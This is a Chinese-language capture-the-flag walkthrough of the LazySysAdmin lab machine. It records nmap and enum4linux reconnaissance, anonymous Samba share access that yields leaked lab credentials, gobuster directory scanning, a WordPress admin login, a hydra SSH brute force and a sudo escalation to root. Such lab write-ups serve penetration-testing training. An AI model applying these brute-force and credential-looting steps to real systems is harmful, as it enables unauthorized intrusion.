# 17-LazySysAdmin

###端口

```
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
```

###服务系统识别

```
 nmap -sS -sV -sC -O -p22,80,139,445,3306,6667 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 02:36 GMT
Nmap scan report for 10.30.13.196
Host is up (0.00039s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
|   256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_  256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Silex v2.2.7
|_http-title: Backnode
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info:
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 10.30.13.70
|_  error: Closing link: (nmap@10.30.13.70) [Client exited]
MAC Address: 08:00:27:F7:96:04 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE:
cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2024-03-08T12:36:27+10:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-03-08T02:36:27
|_  start_date: N/A
|_clock-skew: mean: -3h20m02s, deviation: 5h46m24s, median: -2s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
```

###旗帜

```
http://10.30.13.196/ powered by Silex v2.2.7
```

##samba渗透
先枚举

```
enum4linux -a $IP

 #samba共享信息
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        share$          Disk      Sumshare
        IPC$            IPC       IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

[+] Attempting to map shares on 10.30.13.196

//10.30.13.196/print$   Mapping: DENIED Listing: N/A Writing: N/A
//10.30.13.196/share$   Mapping: OK Listing: OK Writing: N/A

[E] Can’t understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//10.30.13.196/IPC$     Mapping: N/A Listing: N/A Writing: N/A


#可能存在的用户
administrator, guest, krbtgt, domain admins, root, bin, none
```

连接samba共享目录

```
smbclient --no-pass //$IP/share$
在里面翻找一些敏感信息，比如网站的配置信息，遗留的密码文件，于是发现两个密码文件

1-wp的网站配置文件
define(’DB_USER’, ’Admin’);
define(’DB_PASSWORD’, ’TogieMYSQL12345^^’);
```

```
2-忘记删除的密码文件
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

```

##web渗透

```
上面找到的两个密码文件和之前枚举的用户名，爆破ssh
#user
admin
administrator
guest
krbtgt
domain
admins
root
bin
none
Togie

#pass
123456
TogieMYSQL12345^^
```

##目录爆破

```
gobuster dir -u http://10.30.13.196/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/wordpress            (Status: 301) [Size: 315] [--> http://10.30.13.196/wordpress/]
/test                 (Status: 301) [Size: 310] [--> http://10.30.13.196/test/]
/wp                   (Status: 301) [Size: 308] [--> http://10.30.13.196/wp/]
/apache               (Status: 301) [Size: 312] [--> http://10.30.13.196/apache/]
/old                  (Status: 301) [Size: 309] [--> http://10.30.13.196/old/]
/javascript           (Status: 301) [Size: 316] [--> http://10.30.13.196/javascript/]
/phpmyadmin           (Status: 301) [Size: 316] [--> http://10.30.13.196/phpmyadmin/]
/server-status        (Status: 403) [Size: 292]
Progress: 220560 / 220561 (100.00%)

#登录phpmyadmin页面

```

```
用之前枚举的数据库账号密码就可登录，但后台页面点什么都报错，没法利用

#发现wordpress博客程序，递归扫描
gobuster dir -u http://10.30.13.196/wordpress -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/wp-content           (Status: 301) [Size: 326] [--> http://10.30.13.196/wordpress/wp-content/]
/wp-includes          (Status: 301) [Size: 327] [--> http://10.30.13.196/wordpress/wp-includes/]
/wp-admin             (Status: 301) [Size: 324] [--> http://10.30.13.196/wordpress/wp-admin/]

#登录wp后台
/wp-admin wp的后台管理页面
下面账户密码后台可登录
Admin
TogieMYSQL12345^^

wp的后台拿shell
    修改404页面，但这靶机没有应用404
    上传主题拿shell，但安装时靶机崩溃了，重新搭建靶机后上传主题500错误，失败！
```

**##立足点**

```
用之前收集用户名和密码爆破
命令：
hydra -l user.list -P pass.list  ssh://$IP

#user1 togie
user:12345 #该账户密码能登录ssh

#system
togie用户有完全的sudo权限
togie@LazySysAdmin:~$ sudo bash
root@LazySysAdmin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@LazySysAdmin:~# whoami
root
```